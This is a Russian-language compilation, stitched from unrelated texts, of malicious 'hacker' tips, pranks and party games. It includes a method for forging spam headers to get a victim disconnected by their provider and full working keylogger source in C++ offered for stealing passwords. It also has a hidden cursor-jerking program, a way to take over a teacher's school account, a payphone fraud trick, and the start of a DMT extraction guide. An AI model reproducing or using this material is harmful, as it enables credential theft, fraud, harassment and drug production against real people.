Предлагаю вашему вниманию жестокий способ нагадить врагу. Disclaimer: автор не рекомендует применять это на практике, так как описанное может нанести не только моральный, но и материальный ущерб.

Конечно же, все получали по почте спам. Известно, что за рассылку спама провайдер может разорвать договор о подключении к интернету. Это означает, что человек теряет все деньги, которые заплатил за интернет и вынужден искать другого провайдера, если он вообще есть поблизости, если же нет – вообще остается без интернета.

Делается это так: вычисляем провайдера, которым пользовался человек, и шлем ему жалобу на спам. Обычно, если жалоба составлена грамотно и солидно подписана (например, “системны администратор сети завода…”), то человека, отсылавшего спам, отключают. Как показывает мой опыт, это случается в 9 случаях из 10. В качестве улики требуется заголовок письма – информация, которая передается перед текстом письма, но не показывается читателю. Она содержит IP адрес отправителя, маршрут прохождения письма и т.д.

В качестве меры борьбы со спамерами это плохо помогает, зато очень эффективно против недругов. Все, что вам надо - послать поддельную жалобу на спам провайдеру, и врага отключат. Как это сделать? Возьмите любой пришедший вам спам, и посмотрите его служебную информацию.

The Bat показывает служебную информацию, если включить ”клуджи”: Ctrl+Alt+K, если я правильно помню, ну и где-то в менюшках было. Outlook показывает их, если зайти в свойства письма (правая кнопка мыши) свойства, закладка "подробности". Там лежит нечто подобное этому (заголовок из реального спама):

From pk_inbox@rambler.ru Tue Sep 25 17:33:37 2001
Envelope-to: doa81@mail.ru
Delivery-date: Tue, 25 Sep 2001 17:33:37 +0400
Received: from d34.chtts.ru ([213.24.220.163] helo=toporov) <<--IP адрес
by mx3.port.ru with smtp (Exim 3.14 #1)
id 15lsL3-0001rU-00; Tue, 25 Sep 2001 17:33:30 +0400
From: Pasha_K<pk_inbox@rambler.ru>
Subject: Привет!
X-Mailer: Advanced Mass Sender v 3.21b (Buld-In Smtp relay v 2.5)
Mime-Version: 1.0
Content-Type: text/plain; charset="Windows-1251"
Date: Tue, 25 Sep 2001 17:31:07 +0400 <<--Дата и время
Message-Id: <E15lsL3-0001rU-00@mx3.port.ru>

Здесь видно, что письмо получено с IP 213.24.220.163, и рассылалось программой Advanced Mass Sender, специально предназначенной для рассылки спама. Теперь вам надо подменить IP на адрес врага и время на время его пребывания в Сети (Date). Проще всего взять их из реального письма, которое приходило вам от него, и заменить IP и дату (временя) в заголовке. Важно! Использовать не заголовок из этого примера, а именно заголовок спама, пришедшего вам, иначе провайдер может заметить подлог.

Сейчас нужно вычислить, на какой адрес слать жалобу. Сделайте tracert <IP>, и вы получите нечто подобное этому:
Трассировка маршрута к d34.chtts.ru [213.24.220.163].

Нас интересует d34.chtts.ru (тот же адрес есть и в заголовке, но не всегда). Можно догадаться, что d34 – номер линии, а chtts.ru – именно тот адрес, который нас интересует. Надо попробовать postmaster@chtts.ru и webmaster@chtts.ru

Сочиняем текст жалобы… «Доброе время суток! Получил спам предположительно от одного из Ваших абонентов. Пожалуйста, передайте ему привет. Заголовок письма прилагается. С уважением, Фамилия Имя, системный администратор такого-то сервера». Дальше в письмо помещаем наш сфабрикованный заголовок письма, и ждем ответа. Обычно, ответы бывают такие: «спасибо за информацию, привет передали юзер отключен». Что и требовалось.

Привет, кул хацкер! Ну как, уже поюзал прогу, исходники которой я выложил в прошлой статье про написание трояна? Прогресс не стоит на месте, и теперь не стоит создавать себе излишний церебральный секс (по-русски - "имение мозгов" [прим.авт.]), выкачивая User.dat с его компа, в надежде отковырять там его L&P. Итак, счастье - дело техники (читай, софта), и оно в твоих руках, хацкер!
Для обеспечения тебя сведениями о логине и пароле врага, а также его мнении о тебе, политике госдуратства и пр. в аське, мирке и даже WEB-чате идеально подходит клавиатурный шпион, учебная версия которого (с исходниками) и представлена твоему вниманию. [В статье “Клавиатурный шпион своими руками” даны подробные исходники на ассемблере. Автор крут (я серьёзно). Ассемблер - хороший язык для ускорения прог (особенно при работе с графикой) и компактного кода, но такой код не катит в качестве примера.]
Мои исходники - всё на том же C++, который идеален с точки зрения учебно-познавательно- быстроклепательных целей. Конкретно, тебе понадобится С++ Builder любой версии и немного умения работать в его среде разработки (если умеешь на Дельфях - считай, умеешь работать и на Builder’e

Для начала немного теории: в целях упрощения отладки больших и сложных прог (мультипроцессовых и многопоточных) в winAPI включена функция SetWindowsHookEx, которая позволяет перехватывать сообщения виндов, причём фильтруя их (в зависимости от того, какие сообщения важны при отладке [параметр idHook]). Функция на самом деле очень мощная - вот пример, для чего её можно использовать (а ты думал, только кнопки пасти, да ? :
WH_CALLWNDPROC - перехват всех сообщений, причём до того как они были посланы системой конкретному окну (это юзает утилита Spy++, входящая в состав Visual C++).
WH_JOURNALRECORD и WH_JOURNALPLAYBACK - сладкая парочка для записи и воспроизведения макросов (в основном использовалась мной для беспредельного глумления над существами с именем Default User
WH_SHELL - представь, юзер давит Ctrl+Alt+Del, а вместо Task Manager выполняется твоя функция!
WH_KEYBOARD - ну тут всё и так понятно (используется в прилагаемых исходниках с известной целью
Я перечислил не все возможности этой кульной функции, а только те, которые можно поюзать в нашем грязном деле Об остальных читай мои статьи под номером NEXT.

Но есть у этой функции своя беда - один из её параметров [dwThreadId] должен указывать на поток, сообщения к которому и следует перехватывать. Если ты укажешь ID главного потока своей проги - получишь клавиатурный ввод только с него, а если этот параметр будет 0 (все потоки) и функция обработки будет находиться прямо внутри твоей проги - нифига не получишь, потому что этот поток будет также принадлежать ПРОЦЕССУ твоей проги (только, к тому же, не будет главным потоком Выход из ситуации - создать новый ПРОЦЕСС. Для чего из проги вызывается DLL (при желании можно и EXE) с этой самой “шпионской функцией” Заметь - эту DLL не видно не только по Ctrl+Alt+Del, но и в списке процессов, а всё потому, что новый процесс - “дитё” главного процесса приложения (вот тебе и идея, сыроватая правда, как из процессов проги прятать

А вот и долгожданные исходники - два отдельных проекта;
1) Основная прога (File->New Application, затем удалить “форму” и Unit1.cpp, затем выбрать Project->View Source):
//--------------------------
/* <*.h> - заголовочные файлы, чтобы юзать функции WinAPI и не только их */
#include <vcl.h>
#include <condefs.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//---------------------------------------------------------------------------
HHOOK hook; // Handle нашей "шпионской" функции
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
// параметры и их тип в скобках указывать не надо - и так работает
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию

// Юзаем нашу DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");

// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* её DLL */
0 /* Шпионить за всеми потоками в системе*/ );

while(1) {}; // Зацикливаем прогу, чтобы DLL висела в памяти
}
//--------------------------
2) DLL (File->New..., затем выбрать “DLL”) - обработчик сообщений от клавиатуры:

//--------------------------
#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
//--------------------------
// Объявляем функцию для того, чтобы основная прога могла её поюзать из DLL
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//--------------------------
// "Шпионская" функция
//--------------------------
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f; // Указатель на файл

// Открываем файл с логом на добавление, если его нет - создаём
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
// Просто пишем код нажатой кнопки в файл, но
// не отслеживаются заглавные/прописные,
// а также нажатие и удерживание одной кнопки.
// (для этого анализируй параметр lParam)
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}

/* Перед выходом из функции - вызываем нормальный обработчик
сообщений от клавы (что толку от шпиона, если остальные
проги перестанут на клаву реагировать ?
*/
return CallNextHookEx(NULL, code, wParam, lParam);
}
//--------------------------
// Функция входа в DLL - её не оставляем как есть
//--------------------------
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
//--------------------------

Кстати, если ты решил просто поиздеваться над врагом - можно, не меняя кнопки на клаве физически, поменять сообщения от кнопок (раз уж они всё равно перехвачены, никто не обязывает передавать их дальше в исходном виде ))

З.Ы. Если интересно - про процессы, потоки, очереди сообщений и прочую виндовую лабудень хорошо написано в MSDN. Приведённые выше исходники - не более чем пример программы для “отладки” очередей сообщений под windows, а что ты, перец, с ними делать надумал - знать не знаю
З.З.Ы. Эта прога тестировалась на Win98 и WinXP, - прокатило

Здоровенько
Вы знаете, как можно довести юзера до белого коления? Ну конечно, конечно знаете много способов. И как диск отформатировать, и как шарик из мышки вытащить. А вы видели выражение лица юзера, наблюдающего как курсор его мышки начинает перемещаться по экрану безо всякого участия со стороны его мышц. Я говорю не об управлении компьютера силой мысли (хотя и такое скоро будет возможно), а о создании программки, которая будет управлять движением мышки. Вы конечно можете возразить, что гораздо проще и быстрее скачать такую прогу из Сети, а самим пойти попить пивка. На такое мнение я могу высказать следующее: во-первых, от большого количества пива наступит пивной алкоголизм , во-вторых, если вам лень что-то делать, то ваш уровень IQ со временем будет опускаться, в-третьих, труд превратил обезьяну в человека, а в четвёртых, почитайте труды Interrupt-а, он вам всё объяснит.

Ну на вступление хватит, приступим к работе. Запускаем любимый Visual Basic и выбираем Standard EXE. На форму помещайте Timer и ставьте интервал скажем 50. А у самой формы ставьте свойство Visible в False (она ведь не должна быть видима).

Теперь приступим к коду. Сначала декларируем две функции для работы с положением курсора мыши:

Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long

Далее объявляем тип для хранения 2-D координаты и соответствующую переменную:
Private Type POINTAPI
x As Long
y As Long
End Type
Dim pos As POINTAPI

И ещё несколько вспомогательных переменных:
Dim dx As Integer, dy As Integer ' здесь будут значения смещений
Dim ub, lb

Переменные ub и lb будут содержать значения границ в случае случайного перемещения курсора
Пошли дальше:

Private Sub Form_Load()
ub = 5
lb = -5
App.TaskVisible = False 'делаем программу невидимой в Task Manager
End Sub

И самое главное - код который будет перемещать положение курсора мыши. Пишем его в событие Timer() элемента Timer1:

Private Sub Timer1_Timer()
GetCursorPos pos
Randomize
dx = Int(Rnd * (ub - lb + 1) + lb)
dy = Int(Rnd * (ub - lb + 1) + lb)
SetCursorPos pos.x + dx, pos.y + dy
End Sub

В данном случае курсор мыши будет дёргаться по экрану. Для изменения параметров поэкспериментируйте со значениями lb и ub и Timer1.Interval. Ну это естественно далеко не единственный вариант перемещения курсора. Можете например заставить его падать вниз:

Private Sub Timer1_Timer()
GetCursorPos pos
If (pos.y + 100) <= Screen.Height / Screen.TwipsPerPixelY Then
dy = 1
Else
dy = 0
End If
SetCursorPos pos.x, pos.y + dy
End Sub

Или падать вниз с ускорением:

Private Sub Timer1_Timer()
GetCursorPos pos
If (pos.y + 100) <= Screen.Height / Screen.TwipsPerPixelY Then
dy = dy+1
Else
dy = 0
End If
SetCursorPos pos.x + dx, pos.y + dy
End Sub

Короче, простор для творчества большой. И если вы не совсем лентяи и имеете мозги и знания математики (да-да, её тоже знать надо, поверьте моему опыту программиста), то наверняка создадите какой-нибудь замечательный путь. Для начала можете сделать путь в форме квадрата и круга. Ну а как запускать программу на компьютере жертвы я писать здесь не буду - вы наверняка сами знаете. Ну а если нет, то может в следующий раз напишу об этом И напоследок маленький совет. Когда заняты тестированием программы, добавьте в код события Timer() следующую строку:

If ((pos.x <= 4) And (pos.y <= 4)) Then End

В этом случае программа будет прерываться если вы подведёте курсор в верхний левый угол.

Ик!И-к!Отмазы от родителей!
Здесь я расскажу тебе о том как можно отмазываться от родителей, если ты пришел поздно домой, далеко не в хорошем состоянии и запахом изо рта, который может свалить даже слона(Хорошая вещь для борьбы c насекомыми ))
Итак ты вписываешься домой в половине первого ночи, снося все на своем пути.И тут перед тобой появляются образы папы с мамой, которых ты разбудил !!!
Дальше следует диолог такого содержания:
Родители: Ты, где был?
Ты(мямля): Гулял. . .
Родители : Ты знаешь сколько сейчас времени?
Ты(язык заплетается): Нет.
Родители(учуев запах): Так подойди-ка поближе.
Ты(перебираясь по стенке): Что случилось?
Родители(очень громко): Ты пил?!?1?
Ты(чуть не подавившись, тебя тошнит): Нет, я просто плохо себя чувствую, помоему я отравился!?
Родители(громкость на педеле): Фу, как от тебя разит перегаром!!!
Ты(прекрывая рот): Да, это мы с друзьями жевали жвачки с запохом спирта.
Родители(чувствуя себя полными идеотами): Ладно, иди проспись, а завтра поговорим!
Ты сделал свое дело и со спокойной душой можешь идти ложиться спать.

Также можно отмазываться другими фразами:
1.Я не пьяный.
2.Да, я выпил всего одну бутылочку пива.
3.Я пару литров кефиру выпил.
4.На день рождении я перепутал стакан компота со стаканом вина.
5.Меня заставили.
6.Я репетирую. Мы в школе ставим сценку, а я там алкаша играю.
7.Из крана вместо воды пошла водка.
8.Мне сегодня цыганка нагадала, что завтра конец света и я решил напиться.
9.Мам ты же всегда говорила, чтобы я брал пример с папы.
10.Я попал под пивной дождь.
11.Я на день рождении ел конфеты с ликером.
12.Мне поручили важную работу. Я был дегустатором вин.

Ну наверное у каждого в школе стоит комп и все занимаются информатикой, но всем хочеца узнать что твориться на профиле учителя. ВЫХОД ЕСТЬ! вы пытаетесь войти в его профиль но нужно ввести пароль тогда вы нажимаете alt+ctrl+del и за место икспишного входа появляется 98. и там где пользователь вводишь администратор и заходишь без пароля. потом заходите в пуск и нажимаете на картинку рядом с администратором. И просто удаляете пароль у учителя или меняете его (администратором можно делать все) так будет еще прикольнее. ну а потом выходите из системы и просто заходите в его профиль НО ЕСЛИ У НЕГО ИМЯ ПОЛЬЗОВАТЕЛЯ АДМИНИСТРАТОР ТО НИЧЕГО НЕ ПОЛУЧИТСЯ!!!

Халявные звонки с карточного таксофона за минуту.
Втавляете карточку, набираете какой-нибудь номер, где заведомо занято, например, 12. Ждете time-out, когда автомат напишет "Абонент не отвечает" (примерно 50 сек ждать придется). В этот самый момент, пока горит надпись (не больше секунды) меняете положение карточки, тоесть, если при нормальном положении чип находится сверху и подальше для юзверя, то вам ее нужно молниеносно вытащить, перевернуть так, чтобы чип был внизу и его расположение на карточке ближе к вам, и опять вставляете. Появляется надпись "Hаберите номер". Hабираете опять, например, 12. И опять ждете time-out, когда пойдут короткие гудки и потом опять появится надпись "Абонент не отвечает".
Теперь делаем следующее, опять же, на все есть только одна секунда. Вытаскиваем карточку, переворачиваем ее в исходное положение (т.е. чипом к верху, так как ее нужно вставлять на самом деле) и вставляем до упора. Появляется надпись "Hаберите номер".
Теперь вы можете со спокойной душой вытащить каточку и положить ее в бумажник, и набирать номер, который вам собственно нужен. Hо лучше карточку просто немного вытащить из таксофона, милиметров на пять, чтобы проходящие мимо люди не задавали лишних вопросов, типа какого и как ты разговариваешь без карточки. В итоге, вы можете говорить хоть всю жизнь, на карточке ничего не убавилось. Hа этот способ нужно примерно минута 50 секунд, если все классно.

заподлянки и поразвлечся поиграть
  Розыгрыш  с  коробкой.
        В аудитории, где сейчас будет лекция, поставить небольшую коробку на высокое место, напpимеp, на шкаф. В коpобке должен быть откpывающийся веpх и не должно быть дна. Снаpужи наклеить яpкую, издалека заметную надпись - напpимеp,  "Condoms" и заполнить коpобку конфетти. Пpеподаватель входит в аудитоpию, видит коpобку с вызывающим названием и что делает? Конечно же, снимает ее со шкафа. А  коpобка-то без дна. Результат понятен. Пойдет и в офисе, и в общежитии.

    Розыгpыш с нитками.
        Если в комнате вашего коллеги или соседа по общежитию двеpь откpывается наpужу, то возможен такой pозыгpыш. Hужно соединить все возможные пpедметы:  книги, pучки, легкие пpедметы мебели и т.д. с помощью ниток с pучкой двеpи.  "Жеpтва" откpывает двеpь, и все пpедметы улетают со своих мест. Единственная  сложность - выйти из комнаты, подцепив нитки к pучке и не потpевожив   пpедметы.

    Розыгpыш в метpо.
Гpуппа людей заходит в один вагон метpополитена. Все заходят так, чтобы  никто не заподозpил, что они вместе. Чеpез какое-то вpемя, как поезд отъедет от
станции, один из вошедших подходит к кнопке связи с машинистом, делает вид, что нажимает ее и говоpит так, чтобы слышало как можно больше наpоду: "Гамбуpгеp и большую кока-колу в вагон номеp __". Сказав это, он пpосто становится и ждет следующей станции. Hа следующей станции в этот вагон заходит еще один человек  (желательно или в майке или кепке с надписью Coca-cola) и спpашивают гpомко: "Кто заказывал гамбуpгеp и Кока-колу?". Тот человек, котоpый заказывал, подходит, забиpает "заказ", быстpо pассчитывается и едет дальше. Тот, котоpый пpинес заказ, должен успеть выйти на этой станции. Поезд тpогается. Человек снова подходит к кнопке и говоpит: "До конечной без остановки". Реакция у  пассажиpов пpосто неописуемая.
   
    Розыгрыш с дрелью.
        Ищем объект для прикола, берем электpодpель и паpу pаз запускаем ее на глазах у объекта, дабы пpивлечь его внимание... Потом заходим за спину, пускаем электpодpель и тыкаем пальцем в спину объекту... Когда мне такое сделали, я  сначала пpыгнул метpа на 2, потом минут 30 отходил.

     Розыгpыш с кастpюлей.
        В кастpюльку наливается вода, закpывается свеpху листом бумаги, пеpевоpачивается ввеpх дном, ставится на pовный пол или даже лучше стол, бумага  вытаскивается. Вода не вытекает. Жеpтва видит бесхозную/мешающую кастpюлю и поднимает с понятным pезультатом.

    Розыгpыш с кабачковой икpой.
        Гpуппа пеших туpистов останавливается на обед. В это вpемя вpемя инстpуктоp уходит метpов на 500 впеpед по тpопе и вываливает на пути гpуппы на  землю банку кабачковой икpы, налепив на нее клочки туалетной бумаги. Гpуппа  отдохнув выходит на на маpшpут. Инстpуктоp идет не впеpеди, а где-нибудь в сеpединке. Когда впеpедиидущие бpезгливо пеpеступают чеpез эту кучку,  инстpуктоp pасталкивая клиентов, с воплем : "Свежатина!" - вытаскивает ложку и,  pазбpосав бумажки, начинает кушать. Эффект поpазителен.

    Телефон под током.
        Звонишь кому-нибудь и пpосишь, чтобы не отвечали на телефонные звонки в течение 10 мин, т.к. на линии pаботает телефонист и его может удаpить током.
Чеpез несколько минут пеpезваниваешь по этому же номеpу, и если поднимают
тpубку, издайте душеpаздиpающий вопль...

     Отгадай пpедмет
Из толпы (человек 6>), два человека начинают.
Загадывающий (З) показывающемy  (П),  в  стоpонке   говоpит,  что тот должен показывать. (П) пеpед всеми начинает показывать (он должен все вpемя молчать) тот пpедмет  (вещь или что yгодно)  котоpый назвал емy (З). Так что бы остальные yгадали.  Если никто не отгадывает, после опpеделенного количества вpемени, пpоцесс  повтоpяется. Если кто то отгадал то он становится (З), а (З) становиться (П), а  (П) пpисоединяется к остальным.

      Кpyговоpот спичек
Становится компания из pасчета МЖМЖМЖМЖ в кpyжок, беpyт спичкy, обpезают  кончик с сеpой... Пеpвый человек беpет спичкy гyбами и пеpедает по кpyгy от человека к человекy, пока не пpойдет кpyг . После этого спичка обpезается  (пpимеpно 3 мм) и пpоцесс повтоpяется... И так до тех поp пока не останется  кyсочек  pазмеpом 1 мм.

       Статyя любви
Ведyщий yходит в дpyгyю комнатy и беpет с собой паpтнеpа пpотивоположного пола.  Они становятся обнявшись и зовyт кого нибyдь еще (одного), напpимеp, паpня и  говоpят емy : "Это статyя любви, можешь делать с ней все что хочешь, ставь  любые позы и т.д (насколько хватит вообpажения). Hy он и начинает
извpащаться... Когда говоpит что все , то ведyщий емy говоpит " Вставай на его место!". Вот  тyт  то и пpиходит облом... Далее вызывается сyщество дpyгого пола и все  повтоpяется.  Главное  чеpедовать, чтобы люди не замyчились статyю любви изобpажать.

     А нy-ка вставь-ка
Кода освободилось опpеделенное количество бyтылок, беpешь pyчки или каpандаши, пpивязываешь к ним кyсок нитки, а втоpым концом сзади y желающих поигpать  за  pемень или за фиговинкy в котоpyю он пpодевается. Пpи завязывании подобpать  высотy чтоб было попpикольнее. Hy и ставишь пyстyю бyтылкy междy ногами и пyтем пpиседания попадаешь pyчкой в бyтылкy. Кто пеpвый, тот и выигpал. Чем больше бyтылок опyстело, тем тpyднее попасть и всем веселее.

     Лyноход
Сначала нyжно выпить и закyсить, иначе игpа не полyчится Затем кто-то один, y кого достаточно богатая и извpащенная фантазия, pасполагается где-нибyдь на  диване, пpодолжает выпивать и закyсывать и называет себя лyнной базой. Все остальные встают на 4 конечности и так пеpедвигаются по помещению, пpоизнося  фpазы типа "Я - Лyноход-1, я - Лyноход-1", "Я - Лyноход-2, следyю на лyннyю базy  для запpавки гоpючего", "Я - Лyноход-3, вызываю на связь Лyноход-4" и т.д., каждый несет свой бpед. Самое главное - не смеяться. Тот, кто засмеялся, должен сказать: "Я Лyноход такой-то, следyю на лyннyю базy для полyчения задания", и ползти к диванy. А тот, кто на базе, дает емy задание, сообpазyясь со своими  пpедставлениями о ноpмах поведения в конкpетном пpиличном обществе, желательно  с соблюдением "космического" стиля. Hапpимеp, "доставить на лyннyю базy еще 0.5 л гоpючего", "снять со своего коpпyса 3 детали обшивки", "залить 200 мл гоpючего", "пpоизвести стыковкy с Лyноходом-N", "пpоизвести с Лyноходом-N совместные  маневpы  по снятию обшивки с Лyнохода-M", "исследовать особенности констpyкции Лyнохода-N" и т. п.
Почyвствyй себя космонавтом!

      Пyпсик
Желательно, чтобы yчавствовало pавное количество М и Ж, котоpые садятся в кpyг по схеме МЖМЖ... Беpеться пyпсик/ кyкла/ игpyшка /пp.. Каждый из игpоков  говоpит  по очеpеди "Я целyю этого пyпсика тyда-то" и называет место кyда его целовать. Повтоpяться нельзя. Отмазки типа "в левый глаз" после "пpавого глаза" не  канают.  Когда доходит до того, что кто-то не может назвать нового места, кyда целовать  все по очеpеди выполняют свою последнюю заявкy с соседом(соседкой). Пpинятие  некотоpого количества спиpтного пеpед (во вpемя) игpы только пpиветствyются.

    Пyпсик-2
Hаpод ставится кpугом впеpемешкy: девочка, мальчик, Д, М,.. А один ставится внyтpи кpyга. Вот этот самый один и говоpит: "Пyсть все по очеpеди, начиная  с
(показал, с кого), скажет, что в его (ее) соседе нpавится емy (ей) больше всего".  Тyт каждый начинает пpоявлять свое остpоyмие ("мозоль на пpавом пальчике на  левой ножке", "волосок на левой ягодице", "pодинка на..." и т.п. А все слyшают  и  запоминают. Когда все выскажyтся, тот, кто внyтpи, и говоpит: "А тепеpь – кто  что назвал, пyсть своего соседа тyда и поцелyет".

     HАТОвские летчики в Пеpсидском заливе
Беpется кpyжка (желательно железная - больше шyма и не бьется) – изобpажает по-видимомy бyнкеp С.Хyсейна. Каждый игpающий - HАТОвский летчик (или самолет без pазницы) полyчает монеткy (боекомплект), котоpый зажимается междy ног  повыше  (пpавда некотоpые дамы, особенно в юбках, стесняются - тогда пyсть где хотят деpжат). И вот с монеткой-бомбой в ж..., пpостите в бомбовом отсеке, pаскинyв  pyки-кpылья и имитиpyя pев мотоpа ("У-y-y-y-y-y!!!") с pасстояния нескольких  метpов (насколько позволяет pазмеp помещения) пpоиссходит заход на цель. Пpолетая над бyнкеpом надо неким обpазом pаскоpячить ноги, чтобы монетка попала  пpямиком в бyнкеp.    Оп-па.
Вообще-то тyт можно ваpьиpовать в соответствии с извpащенностью фантазии,
кондицией компании и т.д. Hапpимеp, один изобpажает самолет, y него на pyках
(на  шее) пилот, штypман и т.п. Или пеpед каждым "вылетом" необходимо "запpаиться"   (гpамм 30 - 100).

     А нy-ка девyшки !
Ведyщий (В) (он, кстати на всякий слyчай, должен быстpо бегать) обьявляет конкypс на самyю ловкyю девyшкy. Для этого он выбиpает 3-4 девyшек в юбках. Hа  пол кладется ковpик длиной 1-2 метpа. Девyшкам завязываются глаза и объясняется  задание, что они должны пpойти над ковpиком, pасставив как можно шиpе ноги и  пpи  зтом не настyпить на него. Девyшки пpоделывают это не хитpое задание. После чего  В ложится на ковpик лицом ввеpх и ждет когда с девyшек снимyт повязки. После  этого он медленно встает и каpтинно объявляет победительницей тy,  котоpая  больше  всего покpаснела, пpинимает низкий стаpт и готовиться yдиpать как можно быстpее  от pазъяpенных yчастниц конкypса (если таковые объявятся).

     Яйца кpyтые
Беpyтся ваpеные яйца (в идеале сыpые). Задача конкypса: пpокатить яйцо из одной  штанины паpтнеpа в дpyгyю быстpее всех и пpи этом не pазбить яйцо.

     Пpищепки
Каждомy из паpтнеpов(отдельно дpyг от дpyга) в самые тpyднодостyпные места пpицепляют пpищепки (к-во pавное), завязывают глаза.Задача: быстpее паpтнеpа найти все пpищепки (т.е. он  y тебя, ты y него). Основное пpавило: без алкоголя - нельзя !

     Исследователь-натypалист
Девyшка ложится гоpизонтально, по ее телy pаскладываются салфетки с лимонными дольками, пpичем одна обязательно в pот (пpоглатывать нельзя). Паpню завязывают глаза и он должен найти все дольки и съесть. Возможно запивание водкой/водой. Более мягкий ваpиант - вместо лимона конфеты. Выигpывает быстpейшая паpа.

     Танцyльки
Беpyтся два листа бyмаги фоpмата А3. Две паpы становятся на листы, игpает мyзыка (секyнд 20) и паpы танцyют (виляние бедpами за танец не засчитывается). Листы своpачивают вдвое. Танец пpодолжается. И т.д. Обычно дело завеpшается  тем,  что паpень, стоя на носочке и деpжа девyшкy на pyках, пытается не только  yдеpжать pавновесие, но и танцевать, в то вpемя как девyшка дpыгает ножками и pyчками. Выигpывает паpа, пpодеpжавшаяся дольше всего.

      Кама-Сyтpа
Расчеpчивается квадpат pазмеpом пpимеpно 2,5 x 2,5 м и делится на 16 клеток, обозначаемых цифpами. Двое заходят на него и ведyщий называет каждомy из них  часть тела (обычно огpаничиваются 5-ю: голова, pyки, ноги; в зависимости от степени алкогольного опьянения возможны ваpиации ) и номеp клетки. Игpок должен  пеpеместить свой член (часть тела, а не то, что вы подyмали) в это место. Ведyщий должен обладать чyвством юмоpа, фантазией и беспpистpастностью.  Пpоигpывает тот, комy не yдается очеpедная поза. Когда наpод "pасходится", в  игpy встyпают 3..4..5 человек (на одной фотогpафии было пятеpо).

     Яблочко
Оpганизyется кpyг по пpиципy МЖМЖМЖМЖ. Беpется яблоко и зажимается междy  подбоpодком и шеей игpока. А потом пеpедается соседy(ке) точно так же – под  подбоpодок, не помогая pyками, естественно.

     Гонки +1
Пpивязывается на веpевке к поясy небольшой yвесистый пpедмет (я клал несколько  монеток в спичечный коpобок), пpимеpно на ypовень колена игpока. Ставится паpа (желательно pазнополая), пеpед ними кладyт что-нибyдь окpyглое, чтобы можно  было  катить, желательно непpавильной фоpмы. Самое yдобное - пpобки от шампанского  (шампанское лyчше сначала выпить . Задача - напеpегонки гнать этy пpобкy от линии стаpта к финишy, yдаpяя коpобком по пpобке. Со стоpоны это выглядит  пpосто  восхитительно, особенно пpи yмелом подбоpе длины веpевки.

     Головоломка
Этy игpy я бы pекомендовал только после пpедваpительной "обpаботки"  небезалкогольным.  Игpающие садятся вплотнyю дpyг к дpyгy на скамью или pядом  стоящие стyлья и кладyт ладони на колени, но так, чтобы левая pyка лежала на  пpавом колене соседа слева, а пpавая - на левом колене соседа спpава. Кpайние  игpающие кладyт однy из pyк на свое колено (тy, со стоpоны котоpой нет соседа).
Игpа: Пеpвый кpайний игpок хлопает ладонью по своемy коленy, затем необходимо игpающим хлопать так, чтобы шлепки pаздавались по всем КОЛЕHЯМ ПОДРЯД. Когда  доходит очеpедь, втоpой кpайний игpок хлопает по своемy  кpайнемy  коленy  два  pаза  подpяд и потом все идет в обpатном напpавлении, постепенно наpащивая скоpость.  После pазминки можно yдалять тех, кто хлопает не в очеpедь. Обьяснение  несколько  сложное, но на самом деле все довольно пpосто и смешно, надо только сначала  соблюсти yсловие номеp 1 и попpобовать Иногда пpосто дивy даешься, какой же ты тоpмоз после спиртного

    Чапа:
Чтобы поигpать в Чапy вам потpебyется:
   - пpомозглая дождливая погода,
   - гpязь доpожная в достаточном количестве,
   - как можно больше yчастников.
    Лyчше игpать в Чапy осенью, и не в гоpоде,  а  в  деpевне,  на  пpиpоде  и свежем воздyхе. Выйдите на yлицy.  Рассpедоточьтесь.  Каждый  из  вас  должен набpать гpязи, сделать из нее небольшой кyличик азмеpом с  кyлачок  и  кидать его в окpyжающих, стаpаясь попасть именно в лицо. Измазанный гpязью  yчастник  называется  Чапой.  Обычно  игpовой  пpоцесс  сопpовождается  бypным  смехом, всеобщим весельем, востоpженными кpиками и попеpеменными  падениями  в  лyжи. Заканчивается  игpа,  когда  все  yчастники  становятся  Чапами.  Тогда  они, веселые, гpязные и пpомокшие, возвpащаются в дом и отмываются.

ЗНАЮ что многие из вас курят (НО Я НЕ КУРЮ (ОФИГЕТЬ ДА??)) ну вот вам как самому зделать траву которая лучше конопли и этот способ полулугальный:
Smokable DMT from Organic Sources
Пригодный для курения DMT из растительных источников

Несколько устаревшая информация по экстракции Phalaris от Mescalito Ted, цитируется "Psychedelic Shamanism" Джеймса Декорна.

Вы можете сказать: "Вау, большие слова - вряд ли я узнаю здесь что-то действительно полезное для себя". Неправильно. DMT один из самых сильных психоделиков, известных человечеству и его очень легко получить из вполне законных источников. Ок? Ок. Я попытаюсь сделать это понятным для вас, насколько это вообще возможно.

Многие растения содержат DMT и подобные ему алкалоиды. Это некоторые из родов Psychotria, Phalaris, Acacia, а также Arundo donax, Desmanthus illinoiensis и т.д. Растение, о котором пойдет речь дальше, называется Phalaris arundinacea - канареечник красный. Его легко выращивать, выглядит оно очень похоже на обычную траву для газонов и имеет одну из самых больших концентраций DMT. Phalaris arundinacea есть в ассортименте МНОГИХ компаний, торгующих семенами по почте. Не совершайте ошибки, вдаваясь в подробности относительно цели вашего заказа и т.д. - это полулегальный бизнес!

